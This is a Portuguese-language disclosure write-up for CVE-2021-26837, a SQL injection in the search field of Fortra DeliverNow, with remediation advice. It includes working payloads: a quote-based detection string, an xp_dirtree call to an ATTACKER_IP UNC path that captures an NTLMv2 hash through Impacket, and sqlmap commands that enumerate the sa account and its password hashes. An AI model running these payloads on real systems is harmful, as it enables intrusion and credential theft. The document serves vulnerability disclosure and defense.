
CVE-2021-26837 - Injeção de SQL no parâmetro SearchTextbox do HelpSystems/Fortra DeliverNow. Payloads, requisições anotadas e evidências. Corrigido na versão 1.2.18.
Injeção de SQL no HelpSystems / Fortra DeliverNow
O parâmetro SearchTextbox na página de pesquisa de logs do DeliverNow (/LogGrid.aspx) é
concatenado diretamente em uma consulta do SQL Server, sem parametrização e sem
validação no servidor. O aplicativo também exibia os erros de análise do SQL Server
resultantes de volta ao usuário, e foi assim que o bug se manifestou em primeiro lugar.
A conexão com o banco de dados era executada como sa, portanto a injeção herdou direitos
totais de sysadmin na instância. Isso foi suficiente para chamar master.dbo.xp_dirtree
contra um caminho UNC controlado pelo atacante e forçar a conta de serviço do SQL Server
a se autenticar de saída (outbound).
Encontrado durante um teste de penetração interno. Corrigido pelo fornecedor no DeliverNow 1.2.18 e publicado como CVE-2021-26837.
Descoberto e reportado por Sedric Louissaint da Show Up Show Out Security.
| CVE | CVE-2021-26837 |
| Produto | DeliverNow (HelpSystems, agora Fortra) |
| Afetado | anterior à 1.2.18 (o advisory original listava 1.2.18 e versões anteriores) |
| Fraqueza | CWE-89: Injeção de SQL |
| CVSS 3.1 (NVD) | 9.8 Crítica CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CVSS 2 (pesquisador) | 9.0 AV:N/AC:L/Au:N/C:C/I:P/A:P |
| Publicado | 2023-09-19 |
| Testado em | Windows Server 2019 Datacenter 10.0 (x64), SQL Server 2017 (RTM-CU20) 14.0.3294.2 (x64) |
Descrição do NVD:
Vulnerabilidade de injeção de SQL no parâmetro SearchTextBox no Fortra (anteriormente HelpSystems) DeliverNow antes da versão 1.2.18, permite que atacantes executem código arbitrário, elevem privilégios e obtenham informações sensíveis.
POST /LogGrid.aspx, parâmetro do corpo SearchTextbox. O formulário é o controle de pesquisa na
visão Log do aplicativo. ddlFieldName seleciona a coluna a ser pesquisada
(Description nas solicitações abaixo) e SearchTextbox transporta o termo.
Uma aspa simples é suficiente para comprovar:
blah'
A resposta exibe o erro de análise do SQL Server diretamente na página:
Info: Unclosed quotation mark after the character string ''. Incorrect syntax near ''.

Essa divulgação de erro é uma descoberta por si só. Ela converte o que seria uma injeção cega em uma totalmente interativa.
Como a conexão é executada como sa, master.dbo.xp_dirtree é acessível. Apontá-lo
para um caminho UNC em um host que você controla faz a conta de serviço do SQL Server
autenticar-se de saída (outbound) nesse host via SMB:
123';declare @q varchar(99);set @q='\\ATTACKER_IP'+'\fro'; exec master.dbo.xp_dirtree @q;--

Solicitação completa em poc/exploited-request.http, payloads em
poc/payloads.sql.

Com o smbserver.py do Impacket escutando, a conta de serviço do SQL Server do alvo
se autentica e vaza um hash NTLMv2:
[*] Incoming connection (10.1.103.109,49488)
[*] AUTHENTICATE_MESSAGE (\SQLServices,SCS-FTEREPORTS)
[*] User SCS-FTEREPORTS\SQLServices authenticated successfully
[*] SQLServices::...:aaaaaaaaaaaaaaaa:e1571710b57de81bc1668fdc92ff1f2a:...

O hash fica então disponível para quebra offline ou para relay NTLM para outro host.
O sqlmap confirma a injeção e o nível de privilégio:
back-end DBMS: Microsoft SQL Server 2017
[INFO] fetching current user
[INFO] retrieved: sa
current user: 'sa'
[INFO] fetching current database
[INFO] retrieved: RJSReportDelivery
current database: 'RJSReportDelivery'
[INFO] fetching database users password hashes
[INFO] retrieved: 21

sa significa que todos os hashes de login da instância são legíveis, e xp_cmdshell está
a uma chamada sp_configure da execução de comandos no host.
Contra uma instância de laboratório que você possua ou esteja autorizado a testar:
http://<host>:1080/) e abra Log.blah' na caixa de pesquisa e envie. Uma compilação vulnerável exibe o erro
de análise do SQL Server na página.sudo smbserver.py c . -smb2support
xp_dirtree de poc/payloads.sql com seu
próprio IP substituído. Uma compilação vulnerável produz uma autenticação SMB de entrada
da conta de serviço do SQL Server.sqlmap -r poc/exploited-request.http -p SearchTextbox --batch --current-user --current-db
poc/
payloads.sql Detection and out-of-band payloads for SearchTextbox
exploited-request.http The full POST request, ready for sqlmap -r
sqlmap.md sqlmap invocations and expected output
media/
01-sql-error-in-log-search.png
02-xp-dirtree-payload-in-searchtextbox.png
03-forced-auth-captured-impacket.png
04-sqlmap-sa-enumeration.png
05-exploited-http-request.png
Hosts e hashes nas capturas são do engajamento original e estão desatualizados. Substitua o endereço do seu próprio listener ao reproduzir.
sa. O aplicativo precisa de acesso de leitura e gravação às suas
próprias tabelas. Ele não precisa de sysadmin e não precisa de xp_dirtree. O privilégio mínimo
não teria impedido a injeção, mas a teria contido.Corrigido pelo fornecedor no DeliverNow 1.2.18. Atualize.
| Data | Evento |
|---|---|
| 2021 | Encontrado durante um teste de penetração interno e reportado à HelpSystems |
| 2021 | Corrigido no DeliverNow 1.2.18 |
| 2023-09-19 | CVE-2021-26837 publicado no NVD, com pontuação 9.8 Crítica |
Publicado após a correção pelo fornecedor, para uso defensivo e educacional. Os payloads aqui visam uma versão corrigida há anos. Não os execute contra sistemas que você não possua ou para os quais não tenha autorização escrita para testar.